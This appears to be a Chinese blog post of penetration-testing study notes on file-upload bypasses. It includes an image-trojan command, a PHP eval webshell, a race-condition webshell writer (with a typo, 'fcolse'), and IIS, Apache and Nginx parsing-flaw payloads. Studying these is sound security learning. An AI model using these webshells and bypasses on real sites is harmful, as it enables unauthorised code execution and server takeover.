小迪渗透笔记:文件上传(2)

7 篇文章 0 订阅
2 篇文章 1 订阅

1、后端绕过

代码问题漏洞

(1)图片马的制作

copy 1.png /b + shell.php /a webshell.jpg

直接在图片中插入(十六进制)webshell:<?php @eval($_POST['x']);?>

(2)文件头检测

一般用十六进制器修改(burpsuit抓包修改头文件)

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
(3)图像文件信息判断

注意检测函数,配合文件包含漏洞执行

  • getimagesize():图片信息获取

获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息

<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>

也就是说出现这个函数本身就是一种过滤,若文件不是图片则会返回false

  • exif_imagetype():图像类型判断,只接受图片
<?php
if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
    echo "The picture is not a gif";
}
?>
  • imagecreatefromgif():由文件或 URL 创建一个新图像

返回一图像标识符,代表了从给定的文件名取得的图像。

(4)逻辑安全
  • 二次渲染

From:https://blog.csdn.net/weixin_45588247/article/details/119177948

网站接受目标后会再次进行操作(会对文件进行二次操作)

原理:

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

利用:

对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据,将webshell插入其中或配合条件竞争

  • 条件竞争

From:https://blog.csdn.net/mmzkyl/article/details/112318210

https://cloud.tencent.com/developer/article/1650655

形成原因:

由于服务器端在处理不同用户的请求时是并发进行处理的,如果对这些并发操作处理不当的话会由于一些时序问题导致一些异常情况的发生

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

代码逻辑:

先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。

​ 上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀

​ 如果后缀名合法,则对文件进行重命名,上传完成

​ 如果后缀名非法,则删除文件。

若将将一句话木马写入文件直接上传,然后通过蚁剑连接的想法还是将其打消了吧,可能蚁剑还没连上或者刚连上,一句话木马文件就被删除了

利用方法:

<?php
	$file=fopen("xxx.php","w");
	$string='<?php @eval($_POST["x"]); ?>';
	fwrite($file,$string);
	fcolse();
?>

可以通过条件竞争的方式在unlink之前,访问webshell。用burp中不断发送上传webshell的数据包然后不断在浏览器中访问,可以通过竞争访问到文件。

(5)目录命名+数组接收

伪造成文件夹上传,但成功后会以文件的形式保存

UPLOAD_PATH . '/' . $file_name;
upload/upload-19.php/.jpg
upload/upload-19.php/.  :成功上传后:upload-19.php

xiaodi.jpg
x[0]=xiaodi
x[1]=  .
x[2]=jpg
(6)CVE漏洞

CVE-2015-5254、CVE-2017-12615、CVE-2019-2618

2、解析漏洞

搭建平台漏洞

(1)IIS

IIS6.0
//文件夹
image/qq.jpg
image.asp/qq.jpg    qq.jpg会被当做asp解析
//文件
image.jpg
image.asp;.jpg或xxx.asp;xxx.jpg 
//文件会被当做asp执行
eg:/x.asp;.1.jpg 实际执行asp文件

(2)Apache

黑名单
低版本:
1.php.xxx也能别执行成php文件
原理:
Apache会从右往左识别知道识别到能执行的文件

换行解析:
2.4.0-2.4.29版本
1.php\x0A可被解析为php文件
在burpsuit中修改十六进制为0a

(3)Nginx

From:https://blog.csdn.net/m0_51803069/article/details/109330765

  • 配置错误:

原理:Nginx中PHP配置不当(php.ini)与nginx版本无关

php.ini中cgi.fix_pathinfo=1

Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。

新版本的php在php-fpm.conf文件引入了security.limit_extensions=.php限制了可执行文件的后缀,默认只允许执行.php文件

  • 漏洞利用

先上传一个xxx.jpg的图片马,访问此路径/xxx.jpg/test.php

  • CVE-2013-4547(文件名逻辑漏洞)

原理:

利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP

  • 漏洞利用

构造/test.aaa \0.php让nginx把test.aaa解析为php文件执行

test.aaa[0x20](空格)[0x00](\0).php

3、编辑器漏洞

(1)常用编辑器

Fckeditor、Ueditor、kindeditor、CKEditor

(2)扩展

POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

VUL(Vulnerability),泛指漏洞。

CVE漏洞编(公共漏洞和暴露)为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。

CVE网站:
http://www.scap.org.cn/
https://cve.mitre.org/

4、文件上传思路

(1)上传文件和执行文件是两个东西

(2)漏洞分类:

解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)

(3)思路:

  • 拿到网站可以先看文件上传功能是否利用
  • 查看中间件,是否存在解析漏洞/CMS/编辑器漏洞/CVE
  • 若存在上述漏洞:字典扫描:扫描会员中心,文件上传的位置
  • 若无则进行验证,解析(黑名单,白名单?)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值